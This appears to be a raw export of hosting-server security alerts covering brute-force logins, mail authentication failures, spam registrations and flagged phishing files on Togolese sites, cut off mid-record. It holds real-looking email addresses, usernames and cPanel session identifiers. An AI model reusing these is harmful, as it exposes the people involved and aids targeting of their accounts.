name: Imunify PAM. The IP has been locked by RBL
abuser: 38.49.93.203
country_id: 6252001
description:
Jun  7 05:56:13 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.49.93.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.115.187.231
country_id: 130758
description:
2026-06-07 05:59:17 H=([5.115.187.231]) [5.115.187.231]:62203 F=<John@4452.com> rejected RCPT <pibno@zephyr.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.63.14.118
country_id: 6252001
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/robots.txt HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.98.20
country_id: 6252001
description:
[2026-06-07 06:02:15 +0000] info [cpaneld] 192.204.98.20 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 180.125.21.15
country_id: 1814991
description:
2026-06-07 06:03:08 H=([0.0.0.0]) [180.125.21.15]:64408 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.225
country_id: 3175395
description:
Jun  7 06:08:29 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.225 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.109.8
country_id: 6252001
description:
[2026-06-07 06:11:50 +0000] info [cpaneld] 82.40.109.8 - aogodmm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77987064
name: IM360 WAF: GET to wc-ajax cart endpoint
abuser: 150.109.46.17
country_id: 1819730
domain: sia-togo.tg
description:
IM360 WAF: GET to wc-ajax cart endpoint||URI:/?wc-ajax=get_refreshed_fragments||QS:wc-ajax=get_refreshed_fragments||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun  7 06:13:32 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.130
country_id: 1269750
description:
Jun  7 06:14:28 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.130 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.151
country_id: 6252001
description:
[2026-06-07 06:15:01 +0000] info [cpaneld] 64.44.59.151 NEW glfmqhlj:lUVugfK_FMnmrXQl address=64.44.59.151,app=cpaneld,creator=glfmqhlj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.101.182
country_id: 1269750
description:
Jun  7 06:17:05 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.101.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-06-07 06:17:24 dovecot_login authenticator failed for H=(pool.luganet.ru) [118.220.149.121]:39418: 535 Incorrect authentication data (set_id=j)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.101.49.61
country_id: 1835841
description:
Jun  7 06:17:44 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.101.49.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.101.49.61
country_id: 1835841
description:
2026-06-07 06:17:46 dovecot_login authenticator failed for H=([152.52.234.180]) [222.101.49.61]:53142: 535 Incorrect authentication data (set_id=delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-06-07 06:17:07 dovecot_login authenticator failed for H=([178.65.206.24]) [182.95.101.182]:35698: 535 Incorrect authentication data (set_id=j@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.220.149.121
country_id: 1835841
description:
Jun  7 06:17:22 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.220.149.121 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.245.83.194
country_id: 953987
description:
[2026-06-07 06:17:27 +0000] info [whostmgrd] 197.245.83.194 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-18.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.59.200.166
country_id: 149590
description:
Jun  7 06:17:48 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.59.200.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.200.166
country_id: 149590
description:
2026-06-07 06:17:50 dovecot_login authenticator failed for H=([49.124.151.27]) [41.59.200.166]:50095: 535 Incorrect authentication data (set_id=jdelbegue@tps.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Gather Your Polished Prize bonotdamvam.blogspot.com XX||Email:antwanwiggins23@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.198.188
country_id: 2413451
description:
Jun  7 06:19:28 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.198.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.60.186
country_id: 1819730
description:
Jun  7 06:20:17 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.60.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun  7 06:20:41 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.42.132.19
country_id: 1814991
description:
Jun  7 06:19:53 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.42.132.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  7 06:27:31 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [07/Jun/2026:06:28:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13420395&pdata=http%253A%252F%252Fnq42gl.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780813692 HTTP/1.1" 302 0 nq42gl.mediatopnews.tg "http://nq42gl.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.240
country_id: 6252001
description:
[2026-06-07 06:34:47 +0000] info [cpaneld] 64.44.62.240 NEW dvhzmira:7G11RVU_Qkux8cou address=64.44.62.240,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.88.153
country_id: 6252001
description:
[2026-06-07 06:34:28 +0000] info [cpaneld] 173.211.88.153 NEW frtwilql:iSy9lTrRTDDcQS6y address=173.211.88.153,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.238
country_id: 6252001
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.321740108373989.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.254
country_id: 2635167
description:
[2026-06-07 06:34:32 +0000] info [cpaneld] 5.230.153.254 NEW sotragonet:DnllDyCGRwraYZM3 address=5.230.153.254,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.24.164.29
country_id: 2635167
description:
[2026-06-07 06:34:01 +0000] info [whostmgrd] 92.24.164.29 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.35
country_id: 6252001
description:
[2026-06-07 06:34:42 +0000] info [cpaneld] 107.175.5.35 NEW rqgqpxof:TVSGW08Le8orG4W2 address=107.175.5.35,app=cpaneld,creator=rqgqpxof,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.157
country_id: 6252001
description:
[2026-06-07 06:35:15 +0000] info [cpaneld] 64.44.59.157 NEW newglevfer:VCFR6Y1MpJnM2it4 address=64.44.59.157,app=cpaneld,creator=newglevfer,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.57.215.214
country_id: 3895114
description:
179.57.215.214 - - [07/Jun/2026:06:35:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316902&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F04%252F06%252Fcommunique-educ-plus-media-lance-un-appel-a-la-jeunesse-togolaise-enroulons-nous-pour-les-elections-locales-2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780814130 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/04/06/communique-educ-plus-media-lance-un-appel-a-la-jeunesse-togolaise-enroulons-nous-pour-les-elections-locales-2025/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.4205.1822 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.57.215.214


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.219
country_id: 2635167
description:
[2026-06-07 06:35:34 +0000] info [cpaneld] 5.230.153.219 NEW sahamtg:L7LIbjCjKwBlXaNe address=5.230.153.219,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.130
country_id: 2921044
description:
[2026-06-07 06:35:36 +0000] info [cpaneld] 5.175.229.130 NEW qfaclpeg:LgJgIJqWsdjb6uMr address=5.175.229.130,app=cpaneld,creator=qfaclpeg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.152
country_id: 2635167
description:
[2026-06-07 06:35:39 +0000] info [cpaneld] 5.230.133.152 NEW dmmkifel:zChfhciX8D56cBQ1 address=5.230.133.152,app=cpaneld,creator=dmmkifel,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.156
country_id: 2635167
domain: ca-togo.org
description:
IM360 WAF: Possible phishing page detected||SC:/home/egjvuiox/public_html/.910369443777372.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.20
country_id: 2635167
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.931891605376309.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.68
country_id: 3017382
description:
[2026-06-07 06:35:36 +0000] info [cpaneld] 5.231.255.68 NEW glfmqhlj:phNNor8PGAnwZrWd address=5.231.255.68,app=cpaneld,creator=glfmqhlj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.110
country_id: 2635167
description:
[2026-06-07 06:35:09 +0000] info [cpaneld] 5.230.133.110 NEW oviaiart:MK9Ovb9jUnnYsrAf address=5.230.133.110,app=cpaneld,creator=oviaiart,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.192
country_id: 2921044
description:
[2026-06-07 06:35:21 +0000] info [cpaneld] 5.175.229.192 NEW marketplacenetma:3g0nPFanTTkjB3j4 address=5.175.229.192,app=cpaneld,creator=marketplacenetma,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.135
country_id: 2635167
description:
[2026-06-07 06:35:40 +0000] info [cpaneld] 5.230.133.135 NEW mbyqtkiw:5ch6JpsBl_dD_rQ_ address=5.230.133.135,app=cpaneld,creator=mbyqtkiw,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.230
country_id: 2635167
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.155534649014613.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.135
country_id: 2635167
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.182355523139463.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.223
country_id: 6252001
description:
[2026-06-07 06:35:54 +0000] info [cpaneld] 64.44.62.223 NEW ygeaivhj:VSi8qWnlfKFkyPHz address=64.44.62.223,app=cpaneld,creator=ygeaivhj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.86
country_id: 3017382
description:
[2026-06-07 06:36:42 +0000] info [cpaneld] 5.231.64.86 NEW sadis:b2pGwOGqz43GzgTZ address=5.231.64.86,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.23
country_id: 6252001
description:
[2026-06-07 06:35:52 +0000] info [cpaneld] 216.189.152.23 NEW cinemafreenetmas:i_LF8b3zsjuAUCIJ address=216.189.152.23,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.175.135.138
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:107.175.135.138||TA:107.175.135.138||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 181.214.37.142
country_id: 2264397
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:181.214.37.142||TA:181.214.37.142||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.223.230
country_id: 3017382
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:104.253.223.230||TA:104.253.223.230||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  7 06:37:54 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [07/Jun/2026:06:41:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722966&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsos-village-denfants%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780814475 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/sos-village-denfants/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:06-41.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.169.71.237
country_id: 2635167
description:
[2026-06-07 06:41:56 +0000] info [whostmgrd] 86.169.71.237 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Unveil Your Reward Surprise Container eropolik.blogspot.sg Rt||Email:tohar.4r1f@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.185
country_id: 690791
description:
Jun  7 06:43:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.122.16.197
country_id: 130758
description:
2026-06-07 06:43:27 H=([5.122.16.197]) [5.122.16.197]:34888 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.218.205
country_id: 3469034
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:108.165.218.205||TA:108.165.218.205||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  7 06:43:52 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.183.58.218
country_id: 1269750
description:
2026-06-07 06:48:39 dovecot_plain authenticator failed for H=(localhost) [122.183.58.218]:19384: 535 Incorrect authentication data (set_id=j.dalbagua@tps.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.111.245.14
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:142.111.245.14||TA:142.111.245.14||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.183.58.218
country_id: 1269750
description:
Jun  7 06:48:37 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.183.58.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.228.62.96
country_id: 1269750
description:
2026-06-07 06:51:28 dovecot_plain authenticator failed for H=(localhost) [223.228.62.96]:54392: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.7.80.15
country_id: 1562822
description:
Jun  7 06:51:40 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.7.80.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.7.80.15
country_id: 1562822
description:
2026-06-07 06:51:42 dovecot_plain authenticator failed for H=(5tqjmtn2m3ti9o8ca) [117.7.80.15]:59451: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [07/Jun/2026:06:55:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13135006&pdata=http%253A%252F%252Fariana.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780815342 HTTP/1.1" 302 0 ariana.tg "http://ariana.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [07/Jun/2026:06:55:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869723&pdata=http%253A%252F%252Fariana.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780815341 HTTP/1.1" 302 0 ariana.tg "http://ariana.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.89.24
country_id: 3508796
description:
[2026-06-07 06:55:41 +0000] info [whostmgrd] 38.156.89.24 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  7 06:56:27 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 114.139.237.197
country_id: 1814991
description:
2026-06-07 07:00:29 H=([0.0.0.0]) [114.139.237.197]:15691 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.1.213.160
country_id: 1562822
description:
Jun  7 07:00:06 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.1.213.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.1.213.160
country_id: 1562822
description:
2026-06-07 07:00:08 dovecot_plain authenticator failed for H=(hqkpwyymys5azqi1q1) [117.1.213.160]:48627: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.87.13
country_id: 6252001
description:
[2026-06-07 07:03:53 +0000] info [cpaneld] 82.40.87.13 - ucaouut "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.90.50.234
country_id: 6252001
description:
[2026-06-07 07:05:34 +0000] info [cpaneld] 35.90.50.234 - antasadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.158
country_id: 130758
description:
Jun  7 07:04:53 ns5 pure-ftpd[3602955]: (?@172.94.9.158) [WARNING] Authentication failed for user [speau]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun  7 07:05:18 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Reliable Reward eropolik.blogspot.cz lc||Email:danielgarrett81@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:07-05.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.131
country_id: 1880251
description:
47.128.96.131 - - [07/Jun/2026:07:06:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856114&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcetef-togo-2000%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780815968 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cetef-togo-2000/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.131


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 114.139.237.197
country_id: 1814991
description:
2026-06-07 07:09:18 H=([0.0.0.0]) [114.139.237.197]:13730 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.201.66.251
country_id: 2077456
description:
Jun  7 07:09:33 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.201.66.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.201.66.251
country_id: 2077456
description:
2026-06-07 07:09:35 dovecot_login authenticator failed for H=14-201-66-251.static.tpgi.com.au (eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [14.201.66.251]:37709: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.166
country_id: 1733045
description:
2026-06-07 07:09:46 dovecot_login authenticator failed for H=(65-181-79-060.static.imsbiz.com) [49.124.152.166]:40810: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.203.173.59
country_id: 2077456
description:
Jun  7 07:09:01 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.203.173.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.208.242.158
country_id: 2661886
description:
Jun  7 07:09:04 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.208.242.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.242.158
country_id: 2661886
description:
2026-06-07 07:09:06 dovecot_login authenticator failed for H=31-208-242-158.cust.bredband2.com ([112.6.127.244]) [31.208.242.158]:32952: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.203.173.59
country_id: 2077456
description:
2026-06-07 07:09:03 dovecot_login authenticator failed for H=14-203-173-59.tpgi.com.au (95.105.52.153.static.str.ufanet.ru) [14.203.173.59]:39425: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.197.187.204
country_id: 6251999
description:
[2026-06-07 07:11:47 +0000] info [whostmgrd] 216.197.187.204 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.0.127.22
country_id: 1835841
description:
Jun  7 07:12:08 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.0.127.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.93.51.46
country_id: 3469034
description:
2026-06-07 07:12:22 dovecot_login authenticator failed for H=([49.125.201.85]) [187.93.51.46]:46005: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.0.127.22
country_id: 1835841
description:
2026-06-07 07:12:10 dovecot_login authenticator failed for H=([222.76.248.54]) [59.0.127.22]:42374: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.93.51.46
country_id: 3469034
description:
